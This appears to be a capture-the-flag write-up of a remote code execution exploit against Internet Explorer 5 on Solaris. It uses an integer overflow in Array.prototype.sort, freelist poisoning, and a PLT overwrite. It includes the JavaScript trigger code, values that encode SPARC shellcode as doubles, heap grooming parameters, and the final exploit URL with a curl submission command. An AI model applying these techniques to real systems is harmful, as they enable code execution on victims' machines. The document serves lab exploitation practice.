This is the Array.sort solution path for the Ancients Solaris challenge. It
does not use the Gopher+ vulnerability.
The target is Internet Explorer 5 running on Solaris 2.6/SPARC. The broker visits one submitted HTTP URL and returns the flag when the browser executes:
/usr/local/bin/dispense_flagThe final clean broker result was:
{
"job_id": "20260428-135045-2a0a51c2",
"success": true,
"message": "exploit succeeded",
"duration_seconds": 96.396,
"flag": "flag{5un_1nt3rn37_3xpl0d3r}"
}Final flag:
flag{5un_1nt3rn37_3xpl0d3r}
The bug is in libjscript.so, in the implementation behind
Array.prototype.sort for borrowed/non-Array objects and dense arrays.
ARRAY_SORT_VULN.md names the function js_Sort_borrow_or_dense, at offset
0x5e7a0.
The vulnerable allocation prologue sizes two arrays from the JavaScript
object's length:
__ptr = malloc(length * 4);
__s = malloc(length * 0x18);
memset(__s, 0, length * 0x18);Those products are 32-bit unsigned arithmetic. With a large attacker-controlled
length, both products wrap to small allocations. The sort implementation then
enumerates real object properties and writes one 24-byte sort record per
property into __s.
The exploit uses a borrowed object:
a.length = 0x40000001;
a[0] = 1e100;
a[1] = 1e100 + 1;
a[2] = makeDouble(target - 8, 0);
a.sort(function(x, y) { return 0; });For length = 0x40000001:
length * 4 == 0x00000004
length * 0x18 == 0x00000018
So __s is only 24 bytes. Three real properties produce three records, or
72 bytes total, overflowing 48 bytes past __s.
Each sort record is 24 bytes:
+0x00 uint32 index
+0x04 padding / previous heap word
+0x08 VARIANT vt and reserved fields
+0x10 VARIANT value, high 32 bits
+0x14 VARIANT value, low 32 bits
SPARC is big-endian. A JavaScript number is stored as a double, so
makeDouble(hi, lo) provides useful control over the two value words at
record offsets +0x10 and +0x14.
In the first vulnerable sort, property a[2] is:
var poison = makeDouble((target - 8) >>> 0, 0);That value lands in an overflowed record and corrupts a Solaris libc bin-2
freelist pointer with target - 8.
Solaris libc small allocations use size-class freelists. A malloc(0x18)
request uses bin 2. The wrapped Array.sort allocation for __s also requests
0x18 bytes, so the overflow can poison the freelist that the next vulnerable
sort will use.
The exploit turns the overflow into a write-where primitive:
- Groom bin-2 with DOM allocations.
- Free selected DOM allocations to create a predictable freelist gap.
- Trigger the first vulnerable
sort. - Let the overflowing record write
target - 8into the bin-2 freelist chain. - Allocate two drain objects to consume legitimate freelist entries.
- Trigger a second vulnerable
sort; itsmalloc(0x18)for__sreturnstarget.
The stable final grooming parameters are:
mode=class
g=128
f0=64
f2=60
count=3
pre=4
prew=1
drain=2
drainmode=text
prew=1 creates the second writer object before the first sort. That keeps
the heap geometry consistent enough that the first sort poisons the freelist
and the second sort consumes the poisoned entry.
The detours-style hooks in INSTRUMENTATION.md confirmed the primitive:
walk[List2] = ..., target - 8, ...
malloc(0x18) ret_val = target
Once the second malloc(0x18) returns target, the second sort writes its
24-byte records directly at that address.
The first working exploit targeted libjscript.so's free@plt. That proved
the bug, but it needed the per-run libjscript base. A clean one-URL solve
needs a target that is stable across broker jobs.
The better target is free@plt in libkernel32.so:
libkernel32.so base = 0xef100000
free R_SPARC_JMP_SLOT = 0x00135324
absolute free@plt target = 0xef235324
libkernel32.so is mapped at a fixed address in the broker environment, and
its PLT relocation area is writable/executable in this old runtime. That means
the final submitted URL can hard-code:
target=0xef235324
This avoids the previous dynamic pmap handoff. Live guest inspection was
still useful during development to verify the target and command placement,
but the final broker submission does not log into the guest or leak a module
base.
The second sort is the writer. It uses another wrapped-length object:
w.length = 0xc0000001;
w[0x30800004] = makeDouble(seto0, 0x30800005);
w[0x80100001] = 4.34475128458380809e-293;
w[0x80100000] = 7.29112204671794362e-304;
w.sort(function(x2, y2) { return 0; });The controlled doubles are chosen so the resulting 24-byte records decode as SPARC instructions. The useful constants are:
4.34475128458380809e-293 -> 0x033bbfa2 0x9fc0633c
7.29112204671794362e-304 -> 0x01000000 0x01000000
Those words build a small stub that:
- Branches over unavoidable VARIANT metadata.
- Loads
%o0with a command-string pointer usingsethi. - Loads
%g1with the fixedsystem()page. - Calls
system()at0xeefe8b3c.
With the final argument 0x00225800, the important instructions are:
sethi %hi(0x00225800), %o0
...
sethi 0x3bbfa2, %g1 ! %g1 = 0xeefe8800
call %g1 + 0x33c ! system()
nopAfter system() returns, the browser usually crashes or exits through invalid
instructions. That is fine; the broker only needs /usr/local/bin/dispense_flag
to run first.
One important constraint is that %o0 is loaded with sethi only. The command
pointer must therefore be 1024-byte aligned.
The exploit needs %o0 to point to:
/usr/local/bin/dispense_flag
The page loads a BMP command carpet:
<img width="2" height="2" src="/static/cmdcarpet_phase29/t000.bmp">The BMP pixel data repeats a shell command:
/usr/local/bin/dispense_flag ; /usr/local/bin/dispense_flag ; ...
The phase matters because the writer can only load 1024-byte-aligned
addresses. During development, a hang3=1 diagnostic stopped the browser after
the writer completed, and scripts/broker_live_probe.py --scan-hex scanned the
live process for the command carpet. In the final heap shape, a valid aligned
command start appeared at:
0x00225800
So the final URL uses:
arg=0x00225800
Earlier values such as 0x001a2800 and 0x001e0800 were valid in other
diagnostic layouts, but not in the final fixed-target layout.
Targeting libjscript!free@plt caused the sort cleanup path to call the
patched PLT naturally. libkernel32!free@plt is cleaner for ASLR, but it is
not necessarily called immediately by the sort cleanup itself.
The exploit page therefore has a small post-writer trigger:
postTrigger(q("posttrigger", ""));The successful final trigger is:
posttrigger=xhr
That creates a synchronous Microsoft.XMLHTTP request immediately after the
writer sort. In the broker run, no postxhr beacon appears in the HTTP access
log; execution diverts through the overwritten libkernel32!free@plt first and
runs system("/usr/local/bin/dispense_flag ...").
The final broker URL was a single direct URL:
http://10.0.2.2:18093/static/sortexp_freeplt_gap_cmdsled.html?g=128&f0=64&f2=60&pre=4&prew=1&drain=2&drainmode=text&mode=class&target=0xef235324&arg=0x00225800&posttrigger=xhr&imgpath=%2Fstatic%2Fcmdcarpet_phase29%2Ft000.bmp&u=k32final225800
No dynamic target server, guest login, pmap, or base leak is needed for the
final submission.
Start the static HTTP server:
python3 scripts/ctf_http_server.py --bind 0.0.0.0 --port 18093Then submit the final URL:
URL='http://10.0.2.2:18093/static/sortexp_freeplt_gap_cmdsled.html?g=128&f0=64&f2=60&pre=4&prew=1&drain=2&drainmode=text&mode=class&target=0xef235324&arg=0x00225800&posttrigger=xhr&imgpath=%2Fstatic%2Fcmdcarpet_phase29%2Ft000.bmp&u=k32final225800'
curl -sS --max-time 360 \
-X POST \
--data-urlencode "url=$URL" \
http://127.0.0.1:8192/submitExpected result:
{
"success": true,
"message": "exploit succeeded",
"flag": "flag{5un_1nt3rn37_3xpl0d3r}"
}The most useful debugging tools were:
- The detours-style hook framework from
INSTRUMENTATION.md, especially the allocator,free, andsystemhooks. scripts/hooks/sort_plan_c_kernel32_freeplt.hooks.json, which traced the fixedlibkernel32!free@plttarget without detouring that target.scripts/broker_live_probe.pyfor development-only broker inspection, includingpmap, PLT memory dumps, and command-carpet scans.trussas a narrow confirmation tool when checking whether failed attempts reachedsystem().
The important final diagnostics were:
malloc(0x18) ret_val = 0xef235324
system retaddr = 0xef235350
%o0 = 0x00225800
The blocker after the first fixed-target write was not the write primitive. The
primitive already patched libkernel32!free@plt in the broker. The remaining
issues were choosing a command pointer that was both 1024-byte aligned and
valid in the final heap layout, then forcing a post-writer code path that calls
through the patched PLT.
The main artifacts for this solution are:
host-web/sortexp_freeplt_gap_cmdsled.html- final exploit page.host-web/cmdcarpet_phase29/t000.bmp- phase-aligned command carpet.scripts/build_cmd_carpet_bmp.py- command-carpet BMP builder.scripts/hooks/sort_plan_c_kernel32_freeplt.hooks.json- fixed-target trace configuration.host-web/hang.htmlandhost-web/img_hang.html- diagnostic pages used for fixed-base and command-carpet scans.scripts/broker_live_probe.py- development-only live broker inspection and guest memory scanner wrapper.scripts/guest_as_scan.c- guest process memory scanner.broker-work/20260428-135045-2a0a51c2/result.json- successful broker result with the flag.